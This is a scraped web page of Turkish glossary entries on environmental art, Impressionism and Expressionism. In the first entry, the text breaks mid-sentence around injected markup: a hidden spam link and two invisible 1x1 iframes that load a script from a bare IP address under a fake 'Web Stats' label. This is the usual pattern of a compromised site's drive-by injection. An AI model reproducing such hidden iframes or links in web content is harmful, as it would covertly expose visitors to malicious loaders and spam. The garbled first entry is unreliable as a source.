Environmental Art
font style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://vtsc.info/en/publication/distributed raman amplifier/a/fontal!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — ya da yapay (inşa edilmiş) çevrenin, sanat yapıtı olarak düzenlenmesi!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — ya da kendi ölçeğine uygun bir yapıtla donatılması anlayışıyla yapılan sanat eserlerini niteler. Bu tür yapıtlar ancak dolaşılarak kavranabilecek niteliktedirler.
19.yy’ın ikinci yarısında Fransa’da ortaya çıkan akım, görsel sanatların yanısıra edebiyat ve müzikte de etkili olmuştur. İzlenimciler doğaya yönelmişler, nesnelerin yalnız biçimlerini değil, ışık karşısındaki görünümlerini de resmetmeyi amaçlamışlardır. Kesin konturlar ve ayrıntılar önemli değildir. Manzara ve neşeli insan grupları en sevdikleri konulardı. Koyu tonlardan kaçmışlar, ışığı en iyi yansıtan parlak ve açık renkleri kullanmışlardır. en önemli temsilcileri Manet, Monet, Renoir, Sisley ve Degas’tır.
20.yy başlarında gelişen, resim, heykel ve mimarlıkta etkili olan sanat akımı. Dış gerçekliği olduğu gibi yansıtmayı yadsıyan akıma göre sanatın amacı, sanatçının iç dünyasını, duygularını renk, çizgi, düzlem ve kütle aracılığıyla dışa vurmasıydı. Deformasyon tekniğini yaygın olarak kullanmışlardır. En ünlü temsilcileri E. Nolde, O. Müller, O. Kokoschka ve E. Munch’tur.